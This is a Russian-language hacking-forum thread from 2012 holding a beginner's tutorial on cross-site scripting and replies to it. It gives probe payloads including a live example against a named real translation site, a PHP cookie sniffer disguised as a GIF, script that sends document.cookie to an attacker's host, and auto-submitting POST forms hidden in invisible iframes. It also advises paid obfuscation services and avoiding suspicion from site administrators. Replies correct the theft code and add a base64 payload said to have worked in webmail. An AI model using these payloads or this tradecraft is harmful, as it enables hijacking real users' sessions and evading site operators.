Авторские статьи XSS. Межсайтовый скриптинг

Discussion in 'Статьи' started by mr.Penguin, 9 Mar 2012.

  1. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    XSS. Межсайтовый скриптинг
    Моя первая статья, Автор: mr.Penguin

    Вступление
    XSS - тип уязвимости, позволяющий вставить произвольный JavaScript код в тело страницы сайта.
    XSS расшифровывается как Cross Site Scripting. Для термина используют сокращение "XSS", чтобы не было путаницы с "CSS" (каскадные таблицы стилей - приминяются в оформлении страницы сайта).


    Для чего служит?
    XSS служит для атаки пользователей, просматривающих зараженную страницу.
    Чаще всего, данную уязвимость используют для кражи cookies (применяется для сохранения данных на стороне юзера) у пользователя.


    Виды XSS Уязвимостей
    Типы уязвимостей делятся на два вида.

    #1 Активная XSS.
    Данный тип уязвимости хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта.
    Чаще всего, активную XSS можно встретить в чатах/блогах/новостных лентах/комментариях.

    #2 Пассивная XSS.
    Пассивная XSS-атака получается при конкретном запросе к скрипту. Параметры передаются через GET и POST запросы.
    В отличие от POST запроса, с GET`ом намного проще. На мой взгяд, пассивные xss - самые неудобные уязвимости для осуществления атаки на сайте.


    XSS на примере
    Чтобы найти пассивную XSS на сайте, достаточно подставить в форму ввода следующий код:
    Code:
    <script>alert('xss')</script>
    Если скрипт сработал и у вас вылезло окно с текстом "xss", то пассивная XSS уязвимость присутствует на сайте. Если у вас ничего не получилось, то не расстраивайтесь - можно попробовать и такой код:
    Code:
    "><script>alert('xss')</script>
    Если ни один из представленных кодов не сработал, то скорее всего уязвимость отсутствует на сайте.

    Рассмотрим на примере работу пассивной XSS.
    Давайте зайдем на какой-нибудь сайт и найдем там поиск. Параметры передаются через GET запрос.
    В форму ввода пишем
    Code:
    "><script>alert('xss')</script>
    и нажимаем кнопку "Найти. В адресной строке у нас должно получится что-то вроде этого:
    Code:
    http://site.ru/search.php?q="><script>alert('xss')</script>
    Если на сайте отсутствует фильтрация HTML-тегов, то у вас должно выскочить окно с текстом "xss", если окна нет, то пассивная xss на сайте отсутствует.

    Вот готовый пример пассивной XSS на Online-переводчике -
    Code:
    http://www.translate.ru/siteTranslation/autolink/?direction=ar&template=General&sourceURL="><script>alert('xss')</script>
    Использование XSS для кражи cookies пользователя
    Для того, чтобы украсть cookies пользователя, нам понадобиться онлайн-сниффер. Его можно найти в интернете, но можно использовать и свой.
    Нам понадобиться два файла:
    1) file.php - В нем и будет находится наш снифер
    PHP:
    <?php
    $snif
    [] = date("d.m.Y H:i");
    $snif[] = $_SERVER['REMOTE_ADDR'];
    @
    $snif[] = $_SERVER['HTTP_REFERER'];
    @
    $snif[] = $_SERVER['QUERY_STRING'];
    $snif[] = $_SERVER['HTTP_USER_AGENT'];
    $file "file.txt";
    $s fopen($file,"a+");
    @
    $sa fread ($s,filesize($file));
    $fp fopen($file,"w");
    foreach (
    $snif as $sniffed)
    {
    fwrite($fp,"\n".$sniffed);
    }
    fwrite($fp,"\n");
    fwrite($s,$sa);
    fclose($s);
    fclose($fp);
    ?>
    2) file.txt - файл, который будет записывать все данные с нашего сниффера.

    Можно поменять расширение "php" на "gif", чтобы наш скрипт не вызывал никаких подозрений. Тут нам поможет ".htaccess", в котором мы пропишем следующее:
    Code:
    <Files "g.gif">
    AddType application/x-httpd-php .gif
    </Files
    или использовать такой код (расширение "gif" будет использоваться как "php"
    Code:
    AddType application/x-httpd-php .gif
    AddHandler application/x-httpd-php .gif
    Если использовать второй код, то достаточно создать файл "ваше_название.gif" и прописать туда код, который указан в "file.php".
    Теперь давайте попробуем составить запрос:
    Code:
    <script>img= new Image();
    img.src="www.site.ru/ваше_название.gif?"+document.cookie</script>
    Вот и всё. По идее, в наш файл "file.txt" должны прийти кукисы пользователя.

    Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.
    Спасибо за внимание.

    P.S. Не забывайте про фильтрацию HTML-тегов. Различные способы вставки JavaScript кода вы можете посмотреть здесь.

    P.S2 Статья будет дополняться.
    Вторая часть статьи: Проводим XSS через POST
     
    #1 mr.Penguin, 9 Mar 2012
    Last edited: 27 Mar 2012
    6 people like this.
  2. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Таких статей море, ничего нового =(
     
  3. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Эта статья рассчитана на новичков.
    Я владею достаточной информацией про данный тип уязвимости, но решил написать всего лишь представление об этой уязвимости. Именно поэтому в конце написал "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.", а это значит - постараюсь ответить на вопрос пользователя и может быть, Вы или кто-то другой узнает что-то новое.
     
  4. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Регистрация: 08.03.2012
    Человек, который зарегистрировался только, чтобы написать статью, поделится знаниями! Браво =)
     
  5. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Таких статей для новичков и где люди пишут в конце "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем." МОРЕ! Так понятней?
     
  6. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    а че ни слова не написал про обход фильрации при проведении атаки? проблема весьма актуальная. Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса. Доведи до ума Статью если хочешь похвалы!
     
  7. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Софт? какой ещё софт сам расскажи что то интересно прям стало))
     
  8. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Ну вот и еще одна появилась. Я думаю, что никто не против. Пусть люди задают вопросы по XSS, глядишь и Вы что-нибудь новенькое узнаете (как я понимаю, Вы не гуру в XSS - в одной теме ваше сообщение видел).

    Согласен, проблема весьма актуальная - поэтому совсем скоро начну писать вторую часть статьи, где Вы подробно сможете прочесть про фильтрацию. А насчет софта - думаю, что это лишнее. Ведь приятнее делать все своими руками.
     
  9. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Основные замечания по статье:

    XSS делятся не на два типа, а на три:
    1) Активные (хранимые)
    2) Пассивные (отраженные)
    3) DOM-based

    Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла)

    Кража сессии - не единственная возможность XSS (чтение данных со страниц сайта, выполнение запросов, доступ к локальному хранилищу, базам данных)

    Не написано о практической эксплуатации пассивных XSS (прямой переход по ссылке, шифрование, сокращение, скрытые фреймы)

    Это неправильно:
    PHP:
    <script>img= new Image();
    img.src="www.site.ru/ваше_название.gif?"+document.cookie</script>
    www.site.ru будет восприниматься как директория относительно текущей.
    Никаких действий с объектом img в дальнейшем не производится, поэтому можно сократить код так:
    PHP:
    <script>(new Image()).src='//www.site.ru/ваше_название.gif?'+document.cookie</script>
    или с явным указанием протокола:
    PHP:
    <script>(new Image()).src='http://www.site.ru/ваше_название.gif?'+document.cookie</script>
    Непонятно, зачем менять расширение на .gif php-скрипту, сохраняющему куки.
     
    #9 M_script, 9 Mar 2012
    Last edited: 9 Mar 2012
    3 people like this.
  10. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    M_script, согласен. Но я решил написать о двух основных типах XSS.

    Code:
    Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла)
    И тут я полностью согласен, но я думаю, что это простительно. Все-таки первая статья ;)
    В следующий раз постараюсь написать всё внятней.
     
  11. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Пингвин, ты не вторую часть пиши, а первую дополни, тогда что-то будет, а не очередное говно
     
  12. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    Раз пишешь для новичков, описал бы уже применение post пасивок. Меня, в своё время, это интересовало больше всего.
     
  13. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Хорошо. Я думаю, что это многих интересует.
     
  14. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    По просьбе mr.The, сейчас я попробую рассказать вам про проведение пассивной XSS через POST запрос.
    Я не буду писать подробную статью, а лишь покажу азы проведения XSS через POST.

    Так что же нам понадобится, чтобы провести XSS через POST?
    Нам нужна обычная HTML страница, в которой будет содержаться скрипт автоматической отправки формы.

    Давайте создадим страницу и назовем ее xss.html
    Я предоставлю Вам четыре варианта отправки пассивной POST XSS.

    Вариант #1
    Code:
    <form name=TheFormXSS action=http://site.ru method=post>
    <input type=hidden name="text" value='<script>alert(document.cookie)</script>'>
    </form>
    <script>
    document.TheFormXSS.submit();
    </script>
    Вариант #2 (самый плохой вариант, не автоматический)
    Code:
    <html>
    <body onload="document.forms['primer'].submit();">
    <form action="http://site.ru" method="post" name="primer">
    <input type=text name="text" value="<script>alert(document.cookie)</script>">
    <input type=submit name="submit" value="Поиск">
    </form>
    </body>
    </html>
    Вариант #3
    Code:
    <form method="post" action="http://site.ru">
    <input type="hidden" name="text" value="<script>alert(document.cookie)</script>">
    </form>
    <script type="text/javascript">
    document.getElementsByTagName('form')[0].submit();
    </script>
    Вариант #4 (мой любимый вариант, самый простой)
    Code:
    <body onload="xss.submit()">
    <form action="http://site.ru" method="post" id="xss">
    <input type=hidden name="text" value='<script>alert(document.cookie)</script>'>
    Единственный минус у всех четырех вариантов, это то, что наша жертва попадет на наш уязвимый сайт, что не есть хорошо.

    Для этого нам понадобится невидимый iframe, давайте создадим страницу iframe.html и запишем в него следующий код:
    Code:
    <iframe src='http://site.ru/xss.html' width='0' height='0' style='display:none'></iframe>
    На этом все.
    Можно также зашифровать наш фрейм. Для этого существуют различные сервисы шифровки HTML кода (Крипт сервисы). Они делятся на два типа: бесплатные и платные. Бесплатный можно найти, погуглив в интернете (кл. слово зашифровать html код), но я советую Вам воспользоваться платным криптом. Они надежнее.

    Спасибо за внимание :)
     
    2 people like this.
  15. [BES]

    [BES] Banned

    Joined:
    26 Jul 2009
    Messages:
    57
    Likes Received:
    68
    Reputations:
    1
    и так, раз для новичков, пожалуй начнем =)
    сначала хочу сказать спасибо, за старание/статью
    теперь ближе к делу

    что такое форма ввода ? куда вводить точнее ? =))) когда подставляю в конце линка этот алерт, он просто лезит в гугл и пытается найти инфу
    и с чего начиналась твоя деятельность по сей направлению ?
    книги, мануалы, статьи и т.п
    что бы уметь находить подобные уязвимости в сайтах, нужно шарить в сайто-строении ? или не обязательно ?
     
    #15 [BES], 26 Mar 2012
    Last edited: 26 Mar 2012
  16. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Ну я думаю, что почти каждый юзверь, который хочет познать мир XSS, знает, что такое форма ввода.
    Ну а если нет, то объясню. Что под формой ввода я подразумеваю ввод пароля и логина для авторизации на сайте или же для поиска необходимой информации.
    Познавал данный тип уязвимостей я сам, но конечно же читал и статьи, без них - ничего нормального не узнаешь.
    Что бы уметь находить подобные уязвимости в сайтах, необходимо "шарить" в сайтостроении, хотя-бы на базовом уровне.
     
  17. [BES]

    [BES] Banned

    Joined:
    26 Jul 2009
    Messages:
    57
    Likes Received:
    68
    Reputations:
    1
    оно ?
    [​IMG]
    или нет ? :D
     
  18. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Нет, Вы ошиблись.
     
  19. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    а где написанно про самодостаточную xss?? про такой тип data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ а ведь еще недавно она прокатывала на майле в теле письма ;)
     
    1 person likes this.
  20. mr.Penguin

    mr.Penguin Member

    Joined:
    8 Mar 2012
    Messages:
    40
    Likes Received:
    37
    Reputations:
    74
    Ну меня еще никто не просил писать про самодостаточную XSS, как будет время - постараюсь написать.
     
    1 person likes this.